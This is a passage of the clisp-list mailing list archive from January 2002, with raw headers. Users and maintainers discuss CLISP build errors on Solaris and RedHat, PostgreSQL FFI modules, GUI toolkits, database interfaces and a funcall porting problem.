14 Jan 2002 14:25:19 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id RAA29726 for ; Mon, 14 Jan 2002 17:23:47 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.10.2+Sun/8.10.2) id g0EMNlR02995; Mon, 14 Jan 2002 17:23:47 -0500 (EST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build question Reply-To: mabramso@gmu.edu From: myriam References: In-Reply-To: Message-ID: Lines: 12 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 14 14:26:07 2002 X-Original-Date: 14 Jan 2002 17:23:46 -0500 > > Building clisp on Solaris 8 does not run on Solaris 7 and craps out > > with this error: > > why did you think this might work? > You mean that executables on Solaris 8 are not backward compatible? Well, okay then. myriam From jrc@tecobj.com Tue Jan 15 16:49:26 2002 Received: from jxmls03.se.mediaone.net ([24.129.0.111]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QeGb-0007g2-00 for ; Tue, 15 Jan 2002 16:49:25 -0800 Received: from macht (att-98-22-72.atl.mediaone.net [24.98.22.72]) by jxmls03.se.mediaone.net (8.11.1/8.11.1) with SMTP id g0G0oVv07641 for ; Tue, 15 Jan 2002 19:50:32 -0500 (EST) From: "Jack Crosscope" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] Postgres642 FFI compilation error in RedHat 7.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 15 16:50:02 2002 X-Original-Date: Tue, 15 Jan 2002 19:53:59 -0500 When I run make with the postgresql642 module option on CLISP v. 2.27, on RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error message: *** - Incomplete FFI type ConnStatusType is not allowed here. (Where exactly is "here" anyhow? Can I do a backtrace somehow? I tried the usual way to no avail.) The postgres postmaster is running (version 7.1.3), and I have postgres source files from RedHat SRPMS. My libpq-fe.h is in /usr/include/pgsql, as usual. My clisp Makefile options include dynamic-FFI, regexp, gettext, readline, and clx/mit. If I don't include a postgresqlxxx option, the rest compiles fine. For example, I've been able to run the clx/mit demo/hello.lisp after installing and running clisp -K full. Insights appreciated. Thanks, Jack Crosscope jrc@tecobj.com From davel@canuck.com Tue Jan 15 17:45:38 2002 Received: from the-gimp.canuck.com ([216.248.224.12] helo=canuck.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Qf8z-0003Eo-00 for ; Tue, 15 Jan 2002 17:45:37 -0800 Received: from the-gimp (the-gimp [216.248.224.12]) by canuck.com (8.9.3/8.9.3) with ESMTP id SAA2090498; Tue, 15 Jan 2002 18:41:35 -0700 (MST) From: Dave X-Sender: davel@the-gimp To: Jack Crosscope cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Postgres642 FFI compilation error in RedHat 7.2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 15 17:46:03 2002 X-Original-Date: Tue, 15 Jan 2002 18:41:34 -0700 On a somewhat side, isn't postgresql642 for version 6.4.2? Jack Crosscope wrote: > When I run make with the postgresql642 module option on CLISP v. 2.27, on > RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error > message: > > *** - Incomplete FFI type ConnStatusType is not allowed here. > > (Where exactly is "here" anyhow? Can I do a backtrace somehow? I tried the > usual way to no avail.) > > The postgres postmaster is running (version 7.1.3), and I have postgres > source files from RedHat SRPMS. My libpq-fe.h is in /usr/include/pgsql, as > usual. > > My clisp Makefile options include dynamic-FFI, regexp, gettext, readline, > and clx/mit. > > If I don't include a postgresqlxxx option, the rest compiles fine. For > example, I've been able to run the clx/mit demo/hello.lisp after installing > and running clisp -K full. > > Insights appreciated. Thanks, > > Jack Crosscope > jrc@tecobj.com > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From jrc@tecobj.com Tue Jan 15 18:10:57 2002 Received: from jxmls03.se.mediaone.net ([24.129.0.111]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QfXV-0002OV-00 for ; Tue, 15 Jan 2002 18:10:57 -0800 Received: from macht (att-98-22-72.atl.mediaone.net [24.98.22.72]) by jxmls03.se.mediaone.net (8.11.1/8.11.1) with SMTP id g0G2C2v12918 for ; Tue, 15 Jan 2002 21:12:02 -0500 (EST) From: "Jack Crosscope" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] Re: Postgres642 FFI compilation error in RedHat 7.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 15 18:11:01 2002 X-Original-Date: Tue, 15 Jan 2002 21:15:30 -0500 btw, of course there's an apparent version mismatch between postgres 6.4.2 and 7.1.3, which may well be causing the problem. I'd just like to be certain. and determine if it can be easily fixed. -Jack -----Original Message----- From: Jack Crosscope [mailto:jrc@tecobj.com] Sent: Tuesday, January 15, 2002 7:54 PM To: clisp-list@lists.sourceforge.net Subject: Postgres642 FFI compilation error in RedHat 7.2 When I run make with the postgresql642 module option on CLISP v. 2.27, on RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error message: *** - Incomplete FFI type ConnStatusType is not allowed here. (Where exactly is "here" anyhow? Can I do a backtrace somehow? I tried the usual way to no avail.) The postgres postmaster is running (version 7.1.3), and I have postgres source files from RedHat SRPMS. My libpq-fe.h is in /usr/include/pgsql, as usual. My clisp Makefile options include dynamic-FFI, regexp, gettext, readline, and clx/mit. If I don't include a postgresqlxxx option, the rest compiles fine. For example, I've been able to run the clx/mit demo/hello.lisp after installing and running clisp -K full. Insights appreciated. Thanks, Jack Crosscope jrc@tecobj.com From johann.murauer@utimaco.at Wed Jan 16 05:31:32 2002 Received: from [212.183.10.50] (helo=utimaco.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QqA7-0005uJ-00 for ; Wed, 16 Jan 2002 05:31:31 -0800 Received: (from smtp@localhost) by utimaco.at (8.11.1/8.11.1) id g0GFT1d26554 for ; Wed, 16 Jan 2002 15:29:01 GMT (envelope-from johann.murauer@utimaco.at) X-Authentication-Warning: Internet-Router.utimaco.at: smtp set sender to using -f Received: from linz1(10.1.0.25), claiming to be "linz1.utimaco.at" via SMTP by Internet-Router, id smtpdD26552; Wed Jan 16 15:28:55 2002 To: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: johann.murauer@utimaco.at X-MIMETrack: Serialize by Router on Linz1/Utimaco/AT(Release 5.0.5 |September 22, 2000) at 01/16/2002 02:34:00 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [clisp-list] GUI and CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 16 05:32:05 2002 X-Original-Date: Wed, 16 Jan 2002 14:34:00 +0100 Hi, a newbie's question: Currently I think about a new projects (purely non-commerical) that should run under Windows 2000 / XP and Linux. Because it needs some user friendly interface (Buttons, ListBoxes, scrollbars, graphical output, ...) I think xvWindows, Kylix, Qt++ or similar stuff will do this. But as far as I know these tools are mainly "connected" to C / C++. Nevertheless I would like to have the power fo Lisp (CLisp). (I remember my days at the university when I worked with Interlisp-D / Loops). My question: Are there any toolkits for my needs (Win32 / Linux) that can be used via CLisp? What are there pros and cons, is there a "best" one? Are there any "Hello World" examples? Many thanks and best regards, Johann Murauer jmurauer@acm.org From samuel.steingold@verizon.net Wed Jan 16 06:59:45 2002 Received: from smtp001pub.verizon.net ([206.46.170.180]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QrXU-0005M1-00 for ; Wed, 16 Jan 2002 06:59:44 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by smtp001pub.verizon.net with ESMTP ; id g0GExe928414 Wed, 16 Jan 2002 08:59:41 -0600 (CST) To: johann.murauer@utimaco.at Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GUI and CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 16 07:00:08 2002 X-Original-Date: 16 Jan 2002 09:59:16 -0500 > * In message > * On the subject of "[clisp-list] GUI and CLISP" > * Sent on Wed, 16 Jan 2002 14:34:00 +0100 > * Honorable johann.murauer@utimaco.at writes: > > Currently I think about a new projects (purely non-commerical) that > should run under Windows 2000 / XP and Linux. Because it needs some > user friendly interface (Buttons, ListBoxes, scrollbars, graphical > output, ...) I think xvWindows, Kylix, Qt++ or similar stuff will do > this. It would be nice to have a built-in GUI tollkit in CLISP. (interfacing CLISP to QT, GTK or whatever). Would you like to work on this? > My question: > Are there any toolkits for my needs (Win32 / Linux) that can be used via > CLisp? At the moment, you can either use CLX (and systems that build upon CLX, such as Garnet), which would reaquire that you use cygwin on your windows systems, or you can use a web browser as the front-end. See inspect.lisp for the code and try it out: start a web browser and CLISP, then type in CLISP > (inspect '(1 2 (3 . 4) "5" "six" (seven)) :frontend :http) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Those who value Life above Freedom are destined to lose both. From samuel.steingold@verizon.net Wed Jan 16 07:09:07 2002 Received: from out007pub.verizon.net ([206.46.170.107]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QrgY-0007F1-00 for ; Wed, 16 Jan 2002 07:09:06 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out007pub.verizon.net with ESMTP ; id g0GF93d22104 Wed, 16 Jan 2002 09:09:04 -0600 (CST) To: "Jack Crosscope" Cc: Subject: Re: [clisp-list] Postgres642 FFI compilation error in RedHat 7.2 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 16 07:10:03 2002 X-Original-Date: 16 Jan 2002 10:08:38 -0500 > * In message > * On the subject of "[clisp-list] Postgres642 FFI compilation error in RedHat 7.2" > * Sent on Tue, 15 Jan 2002 19:53:59 -0500 > * Honorable "Jack Crosscope" writes: > > When I run make with the postgresql642 module option on CLISP v. 2.27, on > RedHat Linux v. 7.2, Intel architecture, a Lisp process breaks with error > message: > > *** - Incomplete FFI type ConnStatusType is not allowed here. > > (Where exactly is "here" anyhow? Can I do a backtrace somehow? I > tried the usual way to no avail.) this is generated by a "clisp -c" (compile-file) command. start CLISP in the right directory, type (compile-file "foo" :print t) and you will see which form generates the error. it might be that you will have to wrap the def-c-enum form in an eval-when. > The postgres postmaster is running (version 7.1.3), and I have > postgres source files from RedHat SRPMS. it would be nice to unify our Postgres642 and Postgres632 into PostgreSQL that would work with PostgreSQL 7. Would you like to do this? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! A computer scientist is someone who fixes things that aren't broken. From edi@agharta.de Wed Jan 16 07:49:20 2002 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QsJU-0002Wd-00 for ; Wed, 16 Jan 2002 07:49:20 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 78AB112E9D8; Wed, 16 Jan 2002 16:48:58 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GUI and CLISP References: From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 16 07:50:04 2002 X-Original-Date: 16 Jan 2002 16:48:57 +0100 Sam Steingold writes: > It would be nice to have a built-in GUI tollkit in CLISP. > (interfacing CLISP to QT, GTK or whatever). Would you like to work > on this? Last time I checked, clg built out-of-the-box with CLISP and worked pretty well. Currently, the only problem seems to be that the maintainer is porting clg to the new GTK+ version. It would be nice to have clg included with CLISP once it's ready, i.e. you'd just have to enable/disable it with an option to configure. Edi. From edi@agharta.de Wed Jan 16 07:52:55 2002 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QsMx-0003cH-00 for ; Wed, 16 Jan 2002 07:52:55 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 6DEF812E9D8; Wed, 16 Jan 2002 16:52:34 +0100 (CET) To: Subject: Re: [clisp-list] Postgres642 FFI compilation error in RedHat 7.2 References: From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: Message-ID: Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 16 07:53:08 2002 X-Original-Date: 16 Jan 2002 16:52:34 +0100 Sam Steingold writes: > it would be nice to unify our Postgres642 and Postgres632 into > PostgreSQL that would work with PostgreSQL 7. Would you like to do > this? I think it would be more worthwhile to provide CLISP-related patches to the UncommonSQL maintainers. They're actively soliciting them. Just my $.02, Edi. From yen@eranet.pl Wed Jan 16 09:52:55 2002 Received: from szmaragd.eranet.pl ([213.158.194.5]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QuF3-0008Qk-00 for ; Wed, 16 Jan 2002 09:52:53 -0800 Received: from eranet.pl ([10.22.16.50]) by eranet.pl (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with ESMTP id <0GQ10006ALOBTW@eranet.pl> for clisp-list@lists.sourceforge.net; Wed, 16 Jan 2002 18:52:59 +0100 (MET) From: Jedrzej Nasiadek To: clisp-list@lists.sourceforge.net Message-id: <3C45BD27.2000806@eranet.pl> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-2; format=flowed Content-transfer-encoding: 7bit User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:0.9.7) Gecko/20011221 X-Accept-Language: pl, en-us Subject: [clisp-list] clisp on sparcv9? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 16 09:53:06 2002 X-Original-Date: Wed, 16 Jan 2002 18:49:27 +0100 Hi! Is it possible to compile clisp on sparcv9? on my UltraSparc-III I see: $ export CC="cc -xarch=v9" $ ./configure my-sunwcc ... ... ... /opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 941: error: detect global register use not covered .register pseudo-op /opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 942: error: detect global register use not covered .register pseudo-op cc: assembler failed for avcall-sparc64.s *** Error code 1 make: Fatal error: Command failed for target `avcall-sparc64.lo' Any ideas on how to fix it? regards, Jedrzej From samuel.steingold@verizon.net Wed Jan 16 12:30:52 2002 Received: from smtp003pub.verizon.net ([206.46.170.182]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Qwhq-0006CT-00 for ; Wed, 16 Jan 2002 12:30:46 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by smtp003pub.verizon.net with ESMTP ; id g0GKUUu17940 Wed, 16 Jan 2002 14:30:32 -0600 (CST) To: Jedrzej Nasiadek Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on sparcv9? References: <3C45BD27.2000806@eranet.pl> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C45BD27.2000806@eranet.pl> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 16 12:32:11 2002 X-Original-Date: 16 Jan 2002 15:29:56 -0500 > * In message <3C45BD27.2000806@eranet.pl> > * On the subject of "[clisp-list] clisp on sparcv9?" > * Sent on Wed, 16 Jan 2002 18:49:27 +0100 > * Honorable Jedrzej Nasiadek writes: > > Is it possible to compile clisp on sparcv9? > on my UltraSparc-III I see: > $ export CC="cc -xarch=v9" > $ ./configure my-sunwcc > .... > .... > .... > /opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 941: error: > detect global register use not covered .register pseudo-op > /opt/SUNWspro/bin/../WS6U1/bin/fbe: "avcall-sparc64.s", line 942: error: > detect global register use not covered .register pseudo-op > cc: assembler failed for avcall-sparc64.s > *** Error code 1 > make: Fatal error: Command failed for target `avcall-sparc64.lo' > > Any ideas on how to fix it? 1. try GCC 2. the errors are in FFI - try disabling it (./configure --with-dynamic-ffi) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Nostalgia isn't what it used to be. From Rohan.Nicholls@informaat.nl Thu Jan 17 01:34:40 2002 Received: from [193.172.12.17] (helo=xray.informaat.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16R8wS-0006k5-00 for ; Thu, 17 Jan 2002 01:34:40 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Message-ID: <91E4C0798669A540B37F77B8DC0F5B9E0FB6D3@xray.informaat.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Database interfaces Thread-Index: AcGfOjIso02pNJiiSa6KF+xWy/4kkQ== From: "Rohan Nicholls" To: Subject: [clisp-list] Database interfaces Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 17 01:35:05 2002 X-Original-Date: Thu, 17 Jan 2002 10:34:51 +0100 Hello, I am enjoying using Clisp a lot, especially when integrated with emacs. = I have a question as a relative newbie, to both Lisp and Clisp in = particular. Does anyone know where I might find clisp database interfaces, mostly = relational at this point as that is what I am running into a lot. If = not any ideas on where I might find information on how to create my own = interface. I will need any help I can get as it will be diving into = previously unexplored territory. Tia, Rohan From samuel.steingold@verizon.net Thu Jan 17 06:40:56 2002 Received: from smtp003pub.verizon.net ([206.46.170.182]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RDio-00009e-00 for ; Thu, 17 Jan 2002 06:40:55 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by smtp003pub.verizon.net with ESMTP ; id g0HEeou23727 Thu, 17 Jan 2002 08:40:51 -0600 (CST) To: "Rohan Nicholls" Cc: Subject: Re: [clisp-list] Database interfaces References: <91E4C0798669A540B37F77B8DC0F5B9E0FB6D3@xray.informaat.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <91E4C0798669A540B37F77B8DC0F5B9E0FB6D3@xray.informaat.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 17 06:41:14 2002 X-Original-Date: 17 Jan 2002 09:40:43 -0500 > * In message <91E4C0798669A540B37F77B8DC0F5B9E0FB6D3@xray.informaat.com> > * On the subject of "[clisp-list] Database interfaces" > * Sent on Thu, 17 Jan 2002 10:34:51 +0100 > * Honorable "Rohan Nicholls" writes: > > Does anyone know where I might find clisp database interfaces, mostly > relational at this point as that is what I am running into a lot. If > not any ideas on where I might find information on how to create my > own interface. I will need any help I can get as it will be diving > into previously unexplored territory. UncommonSQL is one option. CLISP PostgreSQL modules another. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From emarsden@laas.fr Thu Jan 17 07:02:43 2002 Received: from laas.laas.fr ([140.93.0.15]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16RE3s-00059a-00 for ; Thu, 17 Jan 2002 07:02:41 -0800 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g0HF2VbK007412; Thu, 17 Jan 2002 16:02:31 +0100 (CET) Received: (from emarsden@localhost) by dukas.laas.fr (8.11.1/8.11.1) id g0HF2Vj03449; Thu, 17 Jan 2002 16:02:31 +0100 (MET) To: "Rohan Nicholls" Cc: Subject: Re: [clisp-list] Database interfaces References: <91E4C0798669A540B37F77B8DC0F5B9E0FB6D3@xray.informaat.com> From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ In-Reply-To: (Sam Steingold's message of "17 Jan 2002 09:40:43 -0500") Message-ID: Lines: 21 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 17 07:03:09 2002 X-Original-Date: Thu, 17 Jan 2002 16:02:31 +0100 >>>>> "sam" == Sam Steingold writes: rn> Does anyone know where I might find clisp database interfaces, mostly rn> relational at this point as that is what I am running into a lot. If rn> not any ideas on where I might find information on how to create my rn> own interface. I will need any help I can get as it will be diving rn> into previously unexplored territory. sam> UncommonSQL is one option. sam> CLISP PostgreSQL modules another. another is pg.lisp, which is a socket-level interface to PostgreSQL (avoiding problems with FFI calls to the client-side C libraries). It provides much less functionality than UncommonSQL, though: it just returns the results of SQL queries sent as strings into Lisp objects. You can get it from -- Eric Marsden From abramson@aic.nrl.navy.mil Fri Jan 18 07:45:04 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16RbAy-0000gv-00 for ; Fri, 18 Jan 2002 07:43:32 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id KAA26130 for ; Fri, 18 Jan 2002 10:41:59 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.10.2+Sun/8.10.2) id g0IFfjh05653; Fri, 18 Jan 2002 10:41:59 -0500 (EST) To: clisp-list@lists.sourceforge.net From: Myriam Abramson Message-ID: Lines: 19 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] funcall Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 18 07:46:02 2002 X-Original-Date: 18 Jan 2002 10:41:45 -0500 Hi! Maybe you have a suggestion. I'm porting some code from allegro to clisp and clisp gives me an error here: (FUNCALL #'(LAMBDA (x6) (PROVE X7 (SETOF N2 OBJECT (AN-STG ((NEAREST)))) (PREDICATE :AGENT X6 :TO-LOC X7)))) *** - SYSTEM::%EXPAND-FORM: (NEAREST) should be a lambda expression Prove and setof are macros and they work fine at the command line with the same arguments. Unfortunately, I can't change the code that produce this expression so any suggestions is welcome. -- myriam From samuel.steingold@verizon.net Fri Jan 18 08:42:00 2002 Received: from mta016pub.verizon.net ([206.46.170.220] helo=mta016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Rc5Y-0002Ah-00 for ; Fri, 18 Jan 2002 08:42:00 -0800 Received: from xchange.com ([12.25.11.194]) by mta016.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020118164151.BEDV9126.mta016.verizon.net@xchange.com>; Fri, 18 Jan 2002 10:41:51 -0600 To: Myriam Abramson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] funcall References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: 